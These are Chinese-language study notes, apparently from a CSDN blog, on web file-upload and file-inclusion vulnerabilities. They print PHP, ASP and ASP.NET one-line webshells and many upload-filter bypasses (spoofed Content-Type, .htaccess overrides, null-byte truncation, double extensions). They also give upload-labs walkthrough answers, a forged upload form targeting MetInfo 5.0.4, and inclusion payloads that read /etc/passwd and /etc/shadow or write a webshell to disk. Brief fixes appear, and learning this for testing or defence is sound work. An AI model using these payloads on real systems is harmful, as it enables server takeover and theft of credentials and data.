文件上传(Fifteen)
文件上传
漏洞概述
我们通过文件上传漏洞,可以上传任意文件(脚本文件、exe 程序、恶意程序)。
我们可以上传一个一句话木马,用菜刀连接,就可以在目标服务器执行命令, 查看文件,查看数据库等等操作。
原理:对于用户上传的文件太过于相信没有做任何过滤便直接上传至服务器中,导致文件上传漏洞产生。
什么是WebShell
Shell 的概念就是命令解释器。以Web 形式进行通信的命令解释器(shell、服务器可以执行的脚本文件)就是WebShell。
命令是通过Web 的方式传递到服务器。
Shell 接收来自于浏览器的命令,然后再服务器运行。
WebShell本质上来讲就是一个脚本文件(各种大马) 小马(代码量比较小,一句话木马,需要用中国菜刀连接) ASP: <%eval request("cmd")%> ASP.NET <%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%> PHP <?php @eval($_REQUEST['cmd']);?>($_REQUEST包含了$_GET、$_POST、$_COOKIE的所有内容,是它们的集合体。也就是说只要用其中一种方式做一个表单,把c这个变量给POST或者GET,甚至用cookies就可以把传输上去的内容执行。简而言之吧,就是执行c的值。) JSP 详见1.jsp 中国菜刀需要与一句话木马进行配合 三大基本功能 文件管理 上传 下载 修改 删除 重命令 新建文件、文件夹 虚拟终端 模拟cmd 窗口或者bash 数据库管理 需要知道连接数据库的账号密码 数据库配置 <T>MYSQL</T> 数据库类型 <H>localhost</H> 数据库地址 <U>root</U> 数据库的用户 <P>root</P> 数据库的密码 <L>utf8</L> 编码 getShell,获取一个WebShell。很多途经。
文件上传功能
文件上传是网站基础功能的支持之一。
造成文件上传漏洞的原因
对上传的文件没有进行足够的过滤。就可以上传恶意脚本或者可执行程序。
危害
1. 获取一个WebShell
2. 网站被控制
3. 服务器沦陷
4. 同服务器的其他网站沦陷
造成文件上传漏洞的原因(利用方法、绕过方法、过滤不足)
! 服务器端配置不当
HTTP 协议 PUT 方法 向服务器端写文件
正确的配置:将PUT 方法禁用
或者只允许
在httpd.conf中增加,只允许GET、POST、OPTIONS方法
<Location "/">
AllowMethods GET POST OPTIONS
重启apache
systemctl restart httpd.service
————————————————
版权声明:本文为CSDN博主「linwha1990」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/linwha1990/article/details/101771413
telnet 192.168.1.140 8000
OPTIONS / HTTP/1.1
HOST:192.168.1.140
CTRL+] 开启回显 将PUT方法禁用的条件:利用条件:IIS 开启PUT 方法 | 存在一个可写目录 环境配置:开启IIS WebDAV | 给相关目录一个Web 用户的写权限 IIS 匿名访问时候使用的用户是IUSR_ROOT-TVI862UBEH put /test 创建这个文件 move 移动 将文件改名
文件上传校验方式:前端校验和后端校验(黑白名单)。
! 前端文件上传绕过 @ 直接删除前端脚本 @ 保存前端页面,删除校验代码,打开保存好的页面直接上传即可 ! 服务器端限制被绕过 @ 文件类型 值为什么类型就属于什么类型 通过欺骗绕过检测 # Content-Type(不是以下三种不允许上传) image/jpeg image/png image/gif # 抓包改包 改Content-Type 的类型为相关图片类型 @ 文件内容 php:getimagesize() @ 文件的后缀名 php|asp|aspx|jsp... # 黑名单方法:不允许上传的类型 php|asp|aspx|jsp... 寻找其他可允许上传的类型 php php3 php4 phtml # 白名单的方式:允许上传的类型 jpg|gif|png|zip|doc|docx|xls|pdf... 通过某种类型的技巧来绕过白名单,例如添加空字节注入(shell.php%00.gif),或使用双重扩展来上传文件(shell.jpg.php)1 ! 其他原因 .htaccess攻击 .htaccess 文件就叫这个名字 Apache Web 容器的分布式配置文件 可以覆盖掉Apache全局配置 Apache Web 容器分布式配置文件 有作用范围,当前目录及其子目录
====================允许.htaccess文件覆盖Apache配置=================================
<Directory "C:/wamp/www">
AllowOverride ALl
==========================================================================
(1)==================== 将.jpg文件以PHP文件解析(即先以.htaccess为文件名上传该文件,再上传.jpg文件)====================================
AddType application/x-httpd-php .jpg
==========================================================================
(2)======================文件名中包含.php即可被解析(info.php.jpg)(如果遇到php文件则认为是PHP脚本)===================================
AddHandler php5-script php
===========================================================================
(3)=======================匹配文件名iwillbeback(匹配文件名,如果文件名叫ajest,则会将文件按照php脚本执行。即先上传该文件(以.htaccess作为文件名),再上传文件名为ajest的文件)=======================================
<FilesMatch "ajest">
SetHandler application/x-httpd-php
============================================================================
实验平台:
upload-labs
https://github.com/c0ny1/upload-labs
01 第一种方法:onsubmit函数在客户端运行,可以直接删掉。直接删除js代码(<script></script>) 02 抓包,把Content-Type: application/octet-stream======》Content-Type: image/jpeg 03 把phpinfo.php改成phpinfo.php3上传 04 先上传.htaccess,修改apache配置 再上传phpinfo.jpg,使jpg文件可以以php方式执行 05(文件后缀名大小写转换) 06 在burp中在php后加一空格 07 在burp中在php后加. 08 ::$DATA(文件流,不代表任何含义,只是一个数据) 比如文件名为info.php::$DATA避开文件名的检测 09 info.php. .(点 空格 点) 因为deldot函数从后往前删除点,知道不是点停止 10 检测到php然后依次置空 info.pphphp 11 strrops:查找php在字符串中最后一次出现的位置 上传phpinfo.jpg 00截断:(由于php的文件系统是基于c语言开发的,c语言中的字符串的结束标识符就是null字符) save_path=../upload/ HTTP/1.1==========>save_path=../upload/info.php%00 HTTP/1.1 %00注释掉后面的内容 在另存的时候,文件路径会依次读,当读到null字符是即认为结束 12 13(文件内容检测,检测文件头部) 图片木马的制作 .jpg后缀名的木马的运行需要配合其他漏洞(解析漏洞或者文件包含漏洞) 1.win7 系统下的版权 2.命令行方法 copy xhh.jpg/b+phpinfo.jpg/a xhh_yjh.jpg 操作步骤: 1.在文件上传目录打开powershell,输入cmd 2.输入copy xhh.jpg/b+phpinfo.jpg/a xhh_yjh.jpg(将phpinfo.jpg中的php代码衔接在xhh.jpg后面再生成一个新的jpg文件叫xhh_yjh.jpg) 3.利用十六进制编辑器 文件幻数(一个文件前几位都是如下) jpg FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 48 png 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 GIF 47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
文件上传漏洞利用的条件
- 权限 写权限 执行权限
可写目录 - 有文件上传的接口
- 进一步利用文件上传漏洞
需要服务器解析运行上传的WebShell
解析
Web 容器:Apache/IIS/NGINX....
中间件:php/asp/aspx/(传统)
tomcat/Weblogic/Jboss..... java
http://domain.com/index.php Apache+php 解析漏洞 Apache Apache 遇到不认识的扩展名,会向前递归寻找,知道认识位置 如果没有找到,则暴露代码 info.php.xxx.xx.x http://doamin.com/info.php.xxx.xx.x 在高版本的Apache 中已经被修复(将文件名改成info.php.x可以轻松过9关之前的,包括9关) 也可以利用Apache 解析漏洞过黑名单的限制 IIS (windows) 6.0 time.asp(<%=now()%>) time.asp;1.jpg 以asp 脚本解析所谓的图片文件 time.asp 1.asp/time.png 形如1.asp 这样的文件夹下的文件会当作asp 脚本来执行 7.0/7.5 IIS7.5+PHP 环境 CGI 模式 phpinfo.png http://domain.com/phpinfo.png http://domain.com/phpinfo.png/1.php IIS 的正确配置问题 nginx 与IIS 7.5 解析漏洞类似
编辑器上传漏洞 编辑器就是网站后台编辑网页的在线编辑器 ewebeditor <IMG border=0 src="/UploadFile/201888104135924.cer"> .cer .asa 都可以当作asp 脚本运行 拿到管理员密码之后,修改上传文件的白名单 fckeditor 利用解析漏洞上传
网站内容管理系统文件上传(CMS)
同一款CMS 不同版本之间文件上传是不一样的
DEDEcms 织梦
phpcms
metinfo v5.0.4
Apache+php+mysql
本地构造html 表单上传
<html> <form enctype="multipart/form-data" method="post" name="myForm" action="http://192.168.1.139/metinfov504/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp" > <input name="Filedata" type="file" size=20> <input type="submit" name="Submit" value="submit"> </form> </html>
文件包含漏洞(原理:1.将文件以脚本来执行,根据网站执行脚本来决定 2.一个可以控制的变量,及include函数自身漏洞)
概述
file include
代码共用,减少代码重复性(比如mysql数据库连接代码)
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为包含。 程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。 几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP、ASP、ASP.NET程序中比较少。
本地包含
<?php $filename=$_GET['filename']; include($filename.".html"); ?>
长度截断:?filename=1.txt././././././././././././././././././././././././././././
后面的./只要够长,即可截断.html
远程包含
如果在后面加%23,%20,?则可以将后面的html代码过滤掉
各种协议流玩法
28的base64解码和29的input是两大杀器
php伪协议:https://segmentfault.com/a/1190000018991087
include 常规文件包含语句,文件包含失败时,会产生警告,不会影响脚本的执行 include_once 文件只包含一次 require 常规文件包含语句,文件包含失败时,会产生错误,直接结束脚本执行 require_once 文件只包含一次
修复
1.如果不需要传参则直接文件固定即可
2.固定后缀
3.waf产品
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用***是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
文件包含的分类
php.ini
本地文件包含 LFI allow_url_fopen=on/off
http://192.168.1.139/fi/include.php?path=info.php
远程文件包含 RFI allow_url_include=on/off
http://192.168.1.139/fi/include.php?path=http://192.168.1.139/fi/info.php
远程文件包含是相当危险的 协议也可以换成:ftp 公网地址 具体操作:和jsp类似,比如在同级文件夹下有ini.php和incluede.php,目前想在include.php中包含inc.php则需要在include.php中写<?php include "./inc.php"; ?>(include包含几个,执行几次,但是include_once只执行一次)
文件包含漏洞的原理(利用条件)
1. 服务器开启文件包含功能(有文件包含语句)
2. 文件包含的路径,客户端可控(动态包含)
文件包含的特性(强大之处)
在文件包含的时候,无视文件扩展名,读取文件内容
如果文件内容符合PHP 语法规范,那么PHP 解释器尝试执行它
为图片木马 提供了出路 .jpg .png .gif
文件包含的利用
读取敏感文件
- 目标主机文件存在(敏感文件的路径)
- Web 用户具有文件可读权限
C:\Windows\System32\drivers\etc\hosts
/etc/passwd
/etc/shadow
SSH 私有密钥
直接包含图片马 http://192.168.1.139/fi/include.php?path=./xhh_info.jpg 包含(图片)木马写Shell <?php fputs(fopen("shell.php","w"),"<?php phpinfo()?>")?>(当前目录创建shell.php)(fopen,打开文件,第一个参数是要打开的文件,若果没有就创建,第二个参数是打开方式)(fputs,写文件,第一个参数需要打开一个文件,第二个参数是写的内容) <?php fputs(fopen("shell.php","w"),"<?php @eval(\$_REQUEST['cmd'])?>")?>(一句话木马)
例如:
<?php $file = fopen("test.txt","w"); echo fputs($file,"Hello World. Testing!"); fclose($file); ?>
PHP 封装协议的使用 访问本地系统文件 http://192.168.1.139/fi/include.php?path=file://c:\windows\system32\drivers\etc\hosts 传输PHP 文件 192.168.***.***/include.php?path=php://filter/read=convert.base64-encode/resource=[path](将path文件的源代码作base64编码传输)
================================================================================================
include.php <?php if(isset($_GET['path'])){ include $_GET['path']; }else{ echo"please input path!"; } ?>
===============================================================================================
此处path=shell.php
<?php phpinfo(); ?>
=================================================================================================
执行PHP 命令(input是传输文件流)
192.168../include.php/php://input
实例: about/index.php?fmodule=7&module=php://input